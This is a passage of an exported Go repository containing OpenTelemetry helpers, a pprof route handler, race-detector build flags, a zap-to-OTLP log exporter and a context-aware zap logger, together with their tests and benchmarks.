\"repos_url\": \"https://api.github.com/users/ernado/repos\",\r\n \"events_url\": \"https://api.github.com/users/ernado/events{/privacy}\",\r\n \"received_events_url\": \"https://api.github.com/users/ernado/received_events\",\r\n \"type\": \"User\",\r\n \"site_admin\": false\r\n },\r\n \"labels\": [],\r\n \"state\": \"open\",\r\n \"locked\": false,\r\n \"assignee\": null,\r\n \"assignees\": [],\r\n \"milestone\": null,\r\n \"comments\": 0,\r\n \"created_at\": \"2023-03-23T15:41:09Z\",\r\n \"updated_at\": \"2023-03-23T15:41:09Z\",\r\n \"closed_at\": null,\r\n \"author_association\": \"OWNER\",\r\n \"active_lock_reason\": null,\r\n \"body\": null,\r\n \"reactions\": {\r\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/reactions\",\r\n \"total_count\": 0,\r\n \"+1\": 0,\r\n \"-1\": 0,\r\n \"laugh\": 0,\r\n \"hooray\": 0,\r\n \"confused\": 0,\r\n \"heart\": 0,\r\n \"rocket\": 0,\r\n \"eyes\": 0\r\n },\r\n \"timeline_url\": \"https://api.github.com/repos/ernado/oss-estimator/issues/14/timeline\",\r\n \"performed_via_github_app\": null,\r\n \"state_reason\": null\r\n },\n \"repository\": {\n \"id\": 610784405,\n \"full_name\": \"ernado/oss-estimator\",\n \"url\": \"https://api.github.com/repos/ernado/oss-estimator\",\n \"html_url\": \"https://github.com/ernado/oss-estimator\",\n \"name\": \"oss-estimator\",\n \"owner\": {\n \"login\": \"ernado\"\n }\n }\n}" out := normalizeNewlines([]byte(raw)) require.Equal(t, normalized, string(out)) } ``` ## /otelenv/env.go ```go path="/otelenv/env.go" // Package otelenv provides helpers for working with OTEL_RESOURCE_ATTRIBUTES. package otelenv import ( "os" "strings" "go.opentelemetry.io/otel/attribute" ) // Value of OTEL_RESOURCE_ATTRIBUTES for key value list. func Value(values ...attribute.KeyValue) string { var parts []string for _, kv := range values { parts = append(parts, string(kv.Key)+"="+kv.Value.AsString()) } return strings.Join(parts, ",") } func Set(values ...attribute.KeyValue) { _ = os.Setenv("OTEL_RESOURCE_ATTRIBUTES", Value(values...)) } ``` ## /otelsync/adapter.go ```go path="/otelsync/adapter.go" package otelsync import ( "context" "go.opentelemetry.io/otel/metric" ) // Adapter provides a sync adapter over async metric instruments. type Adapter struct { meter metric.Meter gauge []*GaugeInt64 } func (a *Adapter) callback(_ context.Context, o metric.Observer) error { for _, v := range a.gauge { v.observe(o) } return nil } // Register registers callback. func (a *Adapter) Register() (metric.Registration, error) { var in []metric.Observable for _, v := range a.gauge { in = append(in, v.Int64ObservableGauge) } return a.meter.RegisterCallback(a.callback, in...) } // GaugeInt64 returns a new sync int64 gauge. Register must be called after creating all gauges. func (a *Adapter) GaugeInt64(name string, options ...metric.Int64ObservableGaugeOption) (metric.Int64Observer, error) { og, err := a.meter.Int64ObservableGauge(name, options...) if err != nil { return nil, err } g := &GaugeInt64{ Int64ObservableGauge: og, } a.gauge = append(a.gauge, g) return g, nil } func NewAdapter(m metric.Meter) *Adapter { a := &Adapter{ meter: m, } return a } ``` ## /otelsync/gauge.go ```go path="/otelsync/gauge.go" package otelsync import ( "sync" "go.opentelemetry.io/otel/attribute" "go.opentelemetry.io/otel/metric" "go.opentelemetry.io/otel/metric/embedded" ) // GaugeInt64 is a wrapper around metric.Int64ObservableGauge that stores last value // for each attribute set, providing a sync adapter over async gauge. type GaugeInt64 struct { metric.Int64ObservableGauge embedded.Int64Observer mux sync.Mutex values map[attribute.Set]int64 } // Observe records a last value for attribute set. func (g *GaugeInt64) Observe(v int64, options ...metric.ObserveOption) { g.mux.Lock() defer g.mux.Unlock() if g.values == nil { g.values = make(map[attribute.Set]int64) } g.values[metric.NewObserveConfig(options).Attributes()] = v } func (g *GaugeInt64) observe(o metric.Observer) { g.mux.Lock() defer g.mux.Unlock() for k, v := range g.values { o.ObserveInt64(g.Int64ObservableGauge, v, metric.WithAttributes(k.ToSlice()...)) } } ``` ## /profiler/profiler.go ```go path="/profiler/profiler.go" // Package profiler implements pprof routes. package profiler import ( "net/http" "net/http/pprof" "path" runtime "runtime/pprof" "strings" ) type handler struct { mux *http.ServeMux } var _ http.Handler = handler{} func (p handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { p.mux.ServeHTTP(w, r) } var _defaultRoutes = DefaultRoutes() // DefaultRoutes returns default routes. // // Route name is "/debug/pprof/". func DefaultRoutes() []string { // Enable all routes by default except cmdline (unsafe). return []string{ // From pprof.. "profile", "symbol", "trace", // From pprof.Handler(). "goroutine", "heap", "threadcreate", "block", } } // Options for New. type Options struct { Routes []string // defaults to DefaultRoutes UnknownRoute func(route string) // defaults to ignore } // New returns new pprof handler. func New(opt Options) http.Handler { m := http.NewServeMux() m.HandleFunc("/debug/pprof/", pprof.Index) routes := opt.Routes if len(routes) == 0 { routes = _defaultRoutes } unknown := opt.UnknownRoute if unknown == nil { unknown = func(route string) {} } for _, name := range routes { name = strings.TrimSpace(name) route := path.Join("/debug/pprof/", name) switch name { case "cmdline": m.HandleFunc(route, pprof.Cmdline) case "profile": m.HandleFunc(route, pprof.Profile) case "symbol": m.HandleFunc(route, pprof.Symbol) case "trace": m.HandleFunc(route, pprof.Trace) default: if runtime.Lookup(name) == nil { unknown(name) continue } m.Handle(route, pprof.Handler(name)) } } return handler{mux: m} } ``` ## /profiler/profiler_test.go ```go path="/profiler/profiler_test.go" package profiler import ( "net/http" "net/http/httptest" "testing" "github.com/stretchr/testify/require" ) func TestNew(t *testing.T) { unknownRoutes := []string{ "foo", "bar", } routes := []string{ // From pprof.. "profile", "symbol", "trace", // From pprof.Handler(). "goroutine", "heap", "threadcreate", "block", } var called []string h := New(Options{ Routes: append(routes, unknownRoutes...), UnknownRoute: func(route string) { called = append(called, route) }, }) require.NotNil(t, h) require.Equal(t, unknownRoutes, called) } func TestHandler_ServeHTTP(t *testing.T) { h := New(Options{}) require.NotNil(t, h) s := httptest.NewServer(h) t.Cleanup(s.Close) t.Run("Found", func(t *testing.T) { for _, v := range []string{ "/debug/pprof", "/debug/pprof/symbol", "/debug/pprof/goroutine", } { req, err := http.NewRequest(http.MethodGet, s.URL+v, http.NoBody) require.NoError(t, err) res, err := s.Client().Do(req) require.NoErrorf(t, err, "request: %s", req.URL) require.Equalf(t, http.StatusOK, res.StatusCode, "%s: %s", v, res.Status) } }) t.Run("NotFound", func(t *testing.T) { for _, v := range []string{ "/", "/debug/pprof/foo", "/debug/pprof/cmdline", } { req, err := http.NewRequest(http.MethodGet, s.URL+v, http.NoBody) require.NoError(t, err) res, err := s.Client().Do(req) require.NoErrorf(t, err, "request: %s", req.URL) require.Equalf(t, http.StatusNotFound, res.StatusCode, "%s: %s (should be not found)", v, res.Status) } }) } ``` ## /race/race.go ```go path="/race/race.go" // Package race detects -race compile flag. package race ``` ## /race/race_off.go ```go path="/race/race_off.go" //go:build !race package race // Enabled is false. const Enabled = false ``` ## /race/race_on.go ```go path="/race/race_on.go" //go:build race package race // Enabled is true. const Enabled = true ``` ## /race/race_on_test.go ```go path="/race/race_on_test.go" //go:build race package race import "testing" func TestRaceOn(t *testing.T) { Skip(t) t.Fatal("Should be skipped") } ``` ## /race/skip.go ```go path="/race/skip.go" package race import "testing" // Skip if race enabled. func Skip(t *testing.T) { t.Helper() if Enabled { t.Skip("Skipping: -race enabled") } } ``` ## /zapotel/zapotel.go ```go path="/zapotel/zapotel.go" // Package zapotel provides OpenTelemetry logs exporter zap core implementation. // // Deprecated. Use go.opentelemetry.io/contrib/bridges/otelzap. package zapotel import ( "context" "encoding/hex" "fmt" "math" "reflect" "strings" "sync" "time" "github.com/go-faster/errors" "go.opentelemetry.io/collector/pdata/pcommon" "go.opentelemetry.io/collector/pdata/plog" "go.opentelemetry.io/collector/pdata/plog/plogotlp" "go.opentelemetry.io/otel/attribute" "go.opentelemetry.io/otel/sdk/resource" "go.uber.org/zap/zapcore" ) // New initializes new zapcore.Core from grpc client and resource. func New(enab zapcore.LevelEnabler, res *resource.Resource, client plogotlp.GRPCClient) zapcore.Core { return &exporter{ LevelEnabler: enab, sender: &sender{ client: client, res: res, logs: plog.NewLogs(), rate: time.Second * 1, maxBatch: 5000, }, } } type sender struct { client plogotlp.GRPCClient res *resource.Resource logs plog.Logs rate time.Duration maxBatch int mux sync.Mutex sent time.Time } func (s *sender) append(ent zapcore.Entry, fields []zapcore.Field) { // https://github.com/open-telemetry/oteps/blob/main/text/logs/0097-log-data-model.md#zap rl := s.logs.ResourceLogs().AppendEmpty() { a := rl.Resource().Attributes() for _, kv := range s.res.Attributes() { k := string(kv.Key) switch kv.Value.Type() { case attribute.STRING: a.PutStr(k, kv.Value.AsString()) case attribute.BOOL: a.PutBool(k, kv.Value.AsBool()) default: a.PutStr(k, kv.Value.AsString()) } } } il := rl.ScopeLogs().AppendEmpty() scope := il.Scope() scope.SetName("zapotel") scope.SetVersion("v0.1") lg := il.LogRecords().AppendEmpty() lg.Body().SetStr(ent.Message) // TODO: update mapping from spec switch ent.Level { case zapcore.DebugLevel: lg.SetSeverityNumber(plog.SeverityNumberDebug) case zapcore.InfoLevel: lg.SetSeverityNumber(plog.SeverityNumberInfo) case zapcore.WarnLevel: lg.SetSeverityNumber(plog.SeverityNumberWarn) case zapcore.ErrorLevel: lg.SetSeverityNumber(plog.SeverityNumberError) case zapcore.DPanicLevel: lg.SetSeverityNumber(plog.SeverityNumberFatal) case zapcore.PanicLevel: lg.SetSeverityNumber(plog.SeverityNumberFatal) case zapcore.FatalLevel: lg.SetSeverityNumber(plog.SeverityNumberFatal) } lg.SetSeverityText(ent.Level.String()) lg.SetTimestamp(pcommon.NewTimestampFromTime(ent.Time)) lg.SetObservedTimestamp(pcommon.NewTimestampFromTime(ent.Time)) { a := lg.Attributes() if ent.Caller.Defined { a.PutStr("caller", ent.Caller.TrimmedPath()) } if ent.Stack != "" { a.PutStr("stack", ent.Stack) } if ent.LoggerName != "" { a.PutStr("logger", ent.LoggerName) } var skipped uint32 for _, f := range fields { k := f.Key switch f.Type { case zapcore.BoolType: a.PutBool(k, f.Integer == 1) case zapcore.StringType: l := len(f.String) if (k == "trace_id" && l == 32) || (k == "span_id" && l == 16) { // Checking for tracing. var ( traceID pcommon.TraceID spanID pcommon.SpanID ) v, err := hex.DecodeString(strings.ToLower(f.String)) if err == nil { switch k { case "trace_id": copy(traceID[:], v) lg.SetTraceID(traceID) case "span_id": copy(spanID[:], v) lg.SetSpanID(spanID) } // Don't add as regular string. continue } } a.PutStr(k, f.String) case zapcore.Int8Type, zapcore.Int16Type, zapcore.Int32Type, zapcore.Int64Type, zapcore.Uint8Type, zapcore.Uint16Type, zapcore.Uint32Type, zapcore.Uint64Type: a.PutInt(k, f.Integer) case zapcore.Float32Type: a.PutDouble(k, float64(math.Float32frombits(uint32(f.Integer)))) case zapcore.Float64Type: a.PutDouble(k, math.Float64frombits(uint64(f.Integer))) case zapcore.TimeType: a.PutInt(f.Key, f.Integer) case zapcore.TimeFullType: a.PutStr(k, f.Interface.(time.Time).Format(time.RFC3339Nano)) case zapcore.ErrorType: encodeError(a, k, f.Interface.(error)) case zapcore.DurationType: a.PutDouble(k, time.Duration(f.Integer).Seconds()) default: // "Any", ... skipped++ } } if skipped > 0 { scope.SetDroppedAttributesCount(skipped) } } } func (s *sender) send(ctx context.Context) error { req := plogotlp.NewExportRequestFromLogs(s.logs) if _, err := s.client.Export(ctx, req); err != nil { return errors.Wrap(err, "send logs") } s.logs = plog.NewLogs() s.sent = time.Now() return nil } func (s *sender) Flush(ctx context.Context) error { s.mux.Lock() defer s.mux.Unlock() if s.logs.LogRecordCount() < 1 { // Nothing to send. return nil } return s.send(ctx) } func (s *sender) Send(ctx context.Context, ent zapcore.Entry, fields []zapcore.Field) error { s.mux.Lock() defer s.mux.Unlock() s.append(ent, fields) if time.Since(s.sent) > s.rate || s.logs.LogRecordCount() >= s.maxBatch { return s.send(ctx) } return nil } type exporter struct { zapcore.LevelEnabler context []zapcore.Field sender *sender } var ( _ zapcore.Core = (*exporter)(nil) _ zapcore.LevelEnabler = (*exporter)(nil) ) func (e *exporter) Level() zapcore.Level { return zapcore.LevelOf(e.LevelEnabler) } func (e *exporter) Check(ent zapcore.Entry, ce *zapcore.CheckedEntry) *zapcore.CheckedEntry { if e.Enabled(ent.Level) { return ce.AddCore(ent, e) } return ce } func (e *exporter) With(fields []zapcore.Field) zapcore.Core { return &exporter{ LevelEnabler: e.LevelEnabler, context: append(e.context[:len(e.context):len(e.context)], fields...), sender: e.sender, } } func encodeError(a pcommon.Map, key string, err error) { // TODO: update mapping from spec // Try to capture panics (from nil references or otherwise) when calling // the Error() method defer func() { if rerr := recover(); rerr != nil { // If it's a nil pointer, just say "". The likeliest causes are a // error that fails to guard against nil or a nil pointer for a // value receiver, and in either case, "" is a nice result. if v := reflect.ValueOf(err); v.Kind() == reflect.Ptr && v.IsNil() { a.PutStr(key, "") } } }() basic := err.Error() a.PutStr(key, basic) switch e := err.(type) { case interface{ Errors() []error }: for i, v := range e.Errors() { k := fmt.Sprintf("%s.%d", key, i) a.PutStr(k, v.Error()) } case fmt.Formatter: verbose := fmt.Sprintf("%+v", e) if verbose != basic { // This is a rich error type, like those produced by // github.com/pkg/errors. a.PutStr(key+".verbose", verbose) } } } func (e *exporter) Write(ent zapcore.Entry, fields []zapcore.Field) error { all := make([]zapcore.Field, 0, len(fields)+len(e.context)) all = append(all, e.context...) all = append(all, fields...) return e.sender.Send(context.Background(), ent, all) } func (e *exporter) Sync() error { return e.sender.Flush(context.Background()) } ``` ## /zapotel/zapotel_test.go ```go path="/zapotel/zapotel_test.go" package zapotel import ( "context" "errors" "testing" "github.com/stretchr/testify/require" "go.opentelemetry.io/collector/pdata/plog" "go.opentelemetry.io/collector/pdata/plog/plogotlp" "go.opentelemetry.io/otel/sdk/resource" "go.uber.org/zap" "go.uber.org/zap/zapcore" "google.golang.org/grpc" ) type mockClient struct { logs plog.LogRecordSlice plogotlp.GRPCClient } func (c *mockClient) Export(_ context.Context, request plogotlp.ExportRequest, _ ...grpc.CallOption) (plogotlp.ExportResponse, error) { resLogs := request.Logs().ResourceLogs() for i := 0; i < resLogs.Len(); i++ { scopeLogs := resLogs.At(i).ScopeLogs() for i := 0; i < scopeLogs.Len(); i++ { records := scopeLogs.At(i).LogRecords() for i := 0; i < records.Len(); i++ { records.At(i).CopyTo(c.logs.AppendEmpty()) } } } return plogotlp.NewExportResponse(), nil } func TestLogger(t *testing.T) { a := require.New(t) mock := &mockClient{ logs: plog.NewLogRecordSlice(), } core := New(zapcore.InfoLevel, resource.Empty(), mock) logger := zap.New(core).With( zap.Bool("test", true), ) logger.Debug("debug message") logger.Info("info message", zap.String("trace_id", "4bf92f3577b34da6a3ce929d0e0e4736"), zap.String("span_id", "00f067aa0ba902b7"), ) logger.Named("warner").Warn("warn message") logger.Error("error message", zap.Error(errors.New("test error"))) // zapotel would send first record immediately. a.Equal(1, mock.logs.Len()) a.NoError(core.Sync()) a.Equal(3, mock.logs.Len()) for i, expect := range []struct { message string severity plog.SeverityNumber traceID string spanID string attributes map[string]any }{ { "info message", plog.SeverityNumberInfo, "4bf92f3577b34da6a3ce929d0e0e4736", "00f067aa0ba902b7", map[string]any{ "test": true, }, }, { "warn message", plog.SeverityNumberWarn, "", "", map[string]any{ "test": true, "logger": "warner", }, }, { "error message", plog.SeverityNumberError, "", "", map[string]any{ "test": true, "error": "test error", }, }, } { record := mock.logs.At(i) a.Equal(expect.message, record.Body().AsString()) a.Equal(expect.severity, record.SeverityNumber()) a.Equal(expect.traceID, record.TraceID().String()) a.Equal(expect.spanID, record.SpanID().String()) a.Equal(expect.attributes, record.Attributes().AsRaw()) } } ``` ## /zctx/zctx.go ```go path="/zctx/zctx.go" // Package zctx is a context-aware zap logger. package zctx import ( "context" "go.opentelemetry.io/otel/trace" "go.uber.org/zap" ) type key struct{} var _nop = zap.NewNop() type logger struct { // Base logger, should not contain span_id and trace_id fields. base *zap.Logger // Span-scoped logger that caches span_id and trace_id fields. // // Will be returned by From(ctx) if ctx contains the same span. lg *zap.Logger span trace.SpanContext ctx context.Context } func (l *logger) SetSpan(ctx context.Context, s trace.SpanContext) { l.span = s if ctx.Value(otelzapKey{}) != nil { l.ctx = ctx l.lg = l.base.With( zap.Any("ctx", ctx), ) } else { l.lg = l.base.With( zap.String("span_id", s.SpanID().String()), zap.String("trace_id", s.TraceID().String()), ) } } func from(ctx context.Context) logger { v, ok := ctx.Value(key{}).(logger) if !ok { return logger{base: _nop} } return v } // Start allocates new span logger and returns new context with it. // Use Start to reduce allocations during From, caching the span-scoped logger. // // Should be same as ctx = With(ctx), but more effective. func Start(ctx context.Context) (context.Context, *zap.Logger) { v := from(ctx) s := trace.SpanContextFromContext(ctx) if s.Equal(v.span) { return ctx, v.lg } if !s.IsValid() { return ctx, v.lg } v.SetSpan(ctx, s) return context.WithValue(ctx, key{}, v), v.lg } // From returns zap.Logger from context. func From(ctx context.Context) *zap.Logger { v := from(ctx) s := trace.SpanContextFromContext(ctx) if v.lg != nil && s.Equal(v.span) { return v.lg } if !s.IsValid() { return v.base } v.SetSpan(ctx, s) return v.lg } func with(ctx context.Context, v logger) context.Context { return context.WithValue(ctx, key{}, v) } // With returns new context with provided zap fields. // // The span and trace IDs must not be added to the base logger because zap // can't update or replace fields. func With(ctx context.Context, fields ...zap.Field) context.Context { v := from(ctx) v.base = v.base.With(fields...) // Check that cached logger is from current span. s := trace.SpanContextFromContext(ctx) if v.lg != nil && s.Equal(v.span) { // Same span, updating cached logger with new fields. v.lg = v.lg.With(fields...) } else if s.IsValid() { // New span. Caching logger. // // Next call to From in same span // will return cached logger. v.SetSpan(ctx, s) } else { // Not in span anymore. v.lg = v.base v.span = s } return with(ctx, v) } // Base initializes root logger for using as a base context. Should be done early. // // The span and trace IDs must not be added to the base logger because zap // can't update or replace fields. func Base(ctx context.Context, lg *zap.Logger) context.Context { if lg == nil { lg = _nop } return with(ctx, logger{base: lg}) } type otelzapKey struct{} // WithOpenTelemetryZap enables otelzap mode, disabling writing span and trace IDs to logs and // adding ctx as a log field instead. func WithOpenTelemetryZap(ctx context.Context) context.Context { return context.WithValue(ctx, otelzapKey{}, struct{}{}) } ``` ## /zctx/zctx_bench_test.go ```go path="/zctx/zctx_bench_test.go" package zctx import ( "context" "testing" "go.opentelemetry.io/otel/trace" "go.uber.org/zap" ) func BenchmarkWith(b *testing.B) { b.ReportAllocs() ctx := Base(context.Background(), zap.NewNop()) f := zap.Int("foo", 1) for i := 0; i < b.N; i++ { c := With(ctx, f) _ = c.Done } } func BenchmarkFrom(b *testing.B) { ctx := Base(context.Background(), zap.NewNop()) b.Run("Raw", func(b *testing.B) { b.ReportAllocs() b.ResetTimer() for i := 0; i < b.N; i++ { lg := From(ctx) _ = lg.Sugar } }) b.Run("TracedFresh", func(b *testing.B) { b.ReportAllocs() tracer := newTestTracer() ctx, span := tracer.Start(ctx, "test") defer span.End() b.ResetTimer() for i := 0; i < b.N; i++ { lg := From(ctx) _ = lg.Sugar } }) b.Run("TracedStarted", func(b *testing.B) { b.ReportAllocs() tracer := newTestTracer() ctx, span := tracer.Start(ctx, "test") defer span.End() ctx, lg := Start(ctx) useLogger(lg) b.ResetTimer() for i := 0; i < b.N; i++ { useLogger(From(ctx)) } }) b.Run("TracedWith", func(b *testing.B) { b.ReportAllocs() tracer := newTestTracer() ctx, span := tracer.Start(ctx, "test") defer span.End() ctx = With(ctx, zap.Int("foo", 1)) b.ResetTimer() for i := 0; i < b.N; i++ { useLogger(From(ctx)) } }) } func useLogger(lg *zap.Logger) { _ = lg.Sugar } func BenchmarkTraceFields(b *testing.B) { ctx := context.Background() lg := zap.NewNop() b.Run("Prepared", func(b *testing.B) { b.ReportAllocs() tracer := newTestTracer() ctx, span := tracer.Start(ctx, "test") defer span.End() s := trace.SpanContextFromContext(ctx) traceIDField := zap.String("trace_id", s.TraceID().String()) spanIDField := zap.String("span_id", s.SpanID().String()) b.ResetTimer() for i := 0; i < b.N; i++ { if v := trace.SpanContextFromContext(ctx); v.Equal(s) { nlg := lg.With(traceIDField, spanIDField) useLogger(nlg) } else { panic("?") } } }) b.Run("Fresh", func(b *testing.B) { b.ReportAllocs() tracer := newTestTracer() ctx, span := tracer.Start(ctx, "test") defer span.End() b.ResetTimer() for i := 0; i < b.N; i++ { s := trace.SpanContextFromContext(ctx) nlg := lg.With( zap.String("trace_id", s.TraceID().String()), zap.String("span_id", s.SpanID().String()), ) useLogger(nlg) } }) b.Run("Equal", func(b *testing.B) { b.ReportAllocs() tracer := newTestTracer() ctx, span := tracer.Start(ctx, "test") defer span.End() s := trace.SpanContextFromContext(ctx) traceIDField := zap.String("trace_id", s.TraceID().String()) spanIDField := zap.String("span_id", s.SpanID().String()) b.ResetTimer() for i := 0; i < b.N; i++ { if v := trace.SpanContextFromContext(ctx); v.Equal(s) { nlg := lg.With(traceIDField, spanIDField) useLogger(nlg) } else { panic("?") } } }) } ``` ## /zctx/zctx_test.go ```go path="/zctx/zctx_test.go" package zctx import ( "context" "fmt" "math/rand" "sync" "testing" "time" "github.com/stretchr/testify/assert" tracesdk "go.opentelemetry.io/otel/sdk/trace" "go.opentelemetry.io/otel/sdk/trace/tracetest" "go.opentelemetry.io/otel/trace" "go.uber.org/zap" "go.uber.org/zap/zapcore" "go.uber.org/zap/zaptest/observer" ) func newTestTracer() trace.Tracer { exporter := tracetest.NewInMemoryExporter() randSource := rand.NewSource(15) tp := tracesdk.NewTracerProvider( // Using deterministic random ids. tracesdk.WithIDGenerator(&randomIDGenerator{ rand: rand.New(randSource), }), tracesdk.WithBatcher(exporter, tracesdk.WithBatchTimeout(0), // instant ), ) return tp.Tracer("test") } func assertEmpty(t testing.TB, logs *observer.ObservedLogs) { t.Helper() assert.Equal(t, 0, logs.Len(), "Expected empty ObservedLogs to have zero length.") assert.Equal(t, []observer.LoggedEntry{}, logs.All(), "Unexpected LoggedEntries in empty ObservedLogs.") } func assertEntries(t testing.TB, logs *observer.ObservedLogs, want ...observer.LoggedEntry) { t.Helper() all := logs.TakeAll() for i := range all { all[i].Time = time.Time{} } assert.Equal(t, len(want), len(all), "Unexpected observed logs Len.") for i := 0; i < len(want); i++ { b, a := all[i], want[i] assert.Equalf(t, a.Message, b.Message, "[%d]: Unexpected message.", i) assert.Equalf(t, a.Level, b.Level, "[%d]: Unexpected level.", i) if assert.Equalf(t, len(a.Context), len(b.Context), "[%d]: Unexpected context length.", i) { expectedFields := make(map[string]zap.Field, len(a.Context)) haveFields := make(map[string]zap.Field, len(b.Context)) for j := 0; j < len(a.Context); j++ { expectedFields[a.Context[j].Key] = a.Context[j] } for j := 0; j < len(b.Context); j++ { haveFields[b.Context[j].Key] = b.Context[j] } for k, v := range expectedFields { if _, ok := haveFields[k]; !ok { t.Errorf("[%d]: Missing field %q.", i, k) continue } af, hf := v, haveFields[k] assert.Equalf(t, af.Key, hf.Key, "[%d][%s]: Unexpected context key.", i, k) if aCtx, aOk := af.Interface.(SpanCompare); aOk { hCtx, hOk := hf.Interface.(context.Context) assert.Truef(t, hOk, "[%d][%s]: Unexpected context value.", i, k) hS := trace.SpanContextFromContext(hCtx) assert.Truef(t, aCtx.Equal(hS), "[%d][%s]: Unexpected span context. (%s != %s-%s)", i, k, aCtx, hS.TraceID(), hS.SpanID(), ) } else { assert.Equalf(t, af.Type, hf.Type, "[%d][%s]: Unexpected context type.", i, k) assert.Equalf(t, af.Interface, hf.Interface, "[%d][%s]: Unexpected context value.", i, k) } assert.Equalf(t, af.String, hf.String, "[%d][%s]: Unexpected context value.", i, k) } } } } type randomIDGenerator struct { sync.Mutex rand *rand.Rand } // NewSpanID returns a non-zero span ID from a randomly-chosen sequence. func (gen *randomIDGenerator) NewSpanID(_ context.Context, _ trace.TraceID) (sid trace.SpanID) { gen.Lock() defer gen.Unlock() gen.rand.Read(sid[:]) return sid } // NewIDs returns a non-zero trace ID and a non-zero span ID from a // randomly-chosen sequence. func (gen *randomIDGenerator) NewIDs(_ context.Context) (tid trace.TraceID, sid trace.SpanID) { gen.Lock() defer gen.Unlock() gen.rand.Read(tid[:]) gen.rand.Read(sid[:]) return tid, sid } func do(ctx context.Context, tracer trace.Tracer, depth int) { ctx, span := tracer.Start(ctx, fmt.Sprintf("do(%d)", depth)) From(ctx).Info("do", zap.Int("depth", depth)) if depth > 0 { do(ctx, tracer, depth-1) } defer span.End() } func TestFrom(t *testing.T) { obs, logs := observer.New(zap.DebugLevel) assertEmpty(t, logs) assert.NoError(t, obs.Sync(), "Unexpected failure in no-op Sync") lg := zap.New(obs).With(zap.Int("i", 1)) lg.Info("foo") assertEntries(t, logs, observer.LoggedEntry{ Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "foo"}, Context: []zapcore.Field{zap.Int("i", 1)}, }) ctx := Base(context.Background(), lg) From(ctx).Info("baz") assertEntries(t, logs, observer.LoggedEntry{ Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "baz"}, Context: []zapcore.Field{zap.Int("i", 1)}, }) ctx = With(ctx, zap.Int("j", 2)) From(ctx).Info("baz") assertEntries(t, logs, observer.LoggedEntry{ Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "baz"}, Context: []zapcore.Field{zap.Int("i", 1), zap.Int("j", 2)}, }) tracer := newTestTracer() do(ctx, tracer, 3) want := []observer.LoggedEntry{ { Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "do"}, Context: []zapcore.Field{ zap.Int("depth", 3), zap.String("trace_id", "47058b76ab7d2a10a2ef6534312d205a"), zap.String("span_id", "aa1a08609e5aacf2"), zap.Int("i", 1), zap.Int("j", 2), }, }, { Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "do"}, Context: []zapcore.Field{ zap.Int("depth", 2), zap.String("trace_id", "47058b76ab7d2a10a2ef6534312d205a"), zap.String("span_id", "572a3c21b660fc50"), zap.Int("i", 1), zap.Int("j", 2), }, }, { Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "do"}, Context: []zapcore.Field{ zap.Int("depth", 1), zap.String("trace_id", "47058b76ab7d2a10a2ef6534312d205a"), zap.String("span_id", "07b95cb1be0ea6cd"), zap.Int("i", 1), zap.Int("j", 2), }, }, { Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "do"}, Context: []zapcore.Field{ zap.Int("depth", 4), zap.String("trace_id", "47058b76ab7d2a10a2ef6534312d205a"), zap.String("span_id", "6f539157d0433b08"), zap.Int("i", 1), zap.Int("j", 2), }, }, } assertEntries(t, logs, want...) } type SpanCompare struct { TraceID string SpanID string } type SpanComparator interface { Equal(trace.SpanContext) bool } func newSpanComparator(traceID, spanID string) zap.Field { return zap.Any("ctx", SpanComparator(SpanCompare{ TraceID: traceID, SpanID: spanID, })) } func (c SpanCompare) Equal(sc trace.SpanContext) bool { if c.TraceID != sc.TraceID().String() { return false } if c.SpanID != sc.SpanID().String() { return false } return true } func TestOpenTelemetyZap(t *testing.T) { obs, logs := observer.New(zap.DebugLevel) assertEmpty(t, logs) assert.NoError(t, obs.Sync(), "Unexpected failure in no-op Sync") lg := zap.New(obs).With(zap.Int("i", 1)) ctx := Base(context.Background(), lg) ctx = WithOpenTelemetryZap(ctx) ctx = With(ctx, zap.Int("j", 2)) tracer := newTestTracer() do(ctx, tracer, 3) want := []observer.LoggedEntry{ { Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "do"}, Context: []zapcore.Field{ zap.Int("depth", 3), zap.Int("i", 1), zap.Int("j", 2), newSpanComparator("47058b76ab7d2a10a2ef6534312d205a", "aa1a08609e5aacf2"), }, }, { Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "do"}, Context: []zapcore.Field{ zap.Int("depth", 2), zap.Int("i", 1), zap.Int("j", 2), newSpanComparator("47058b76ab7d2a10a2ef6534312d205a", "572a3c21b660fc50"), }, }, { Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "do"}, Context: []zapcore.Field{ zap.Int("depth", 1), zap.Int("i", 1), zap.Int("j", 2), newSpanComparator("47058b76ab7d2a10a2ef6534312d205a", "07b95cb1be0ea6cd"), }, }, { Entry: zapcore.Entry{Level: zap.InfoLevel, Message: "do"}, Context: []zapcore.Field{ zap.Int("depth", 4), zap.Int("i", 1), zap.Int("j", 2), newSpanComparator("47058b76ab7d2a10a2ef6534312d205a", "6f539157d0433b08"), }, }, } assertEntries(t, logs, want...) } ``` The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.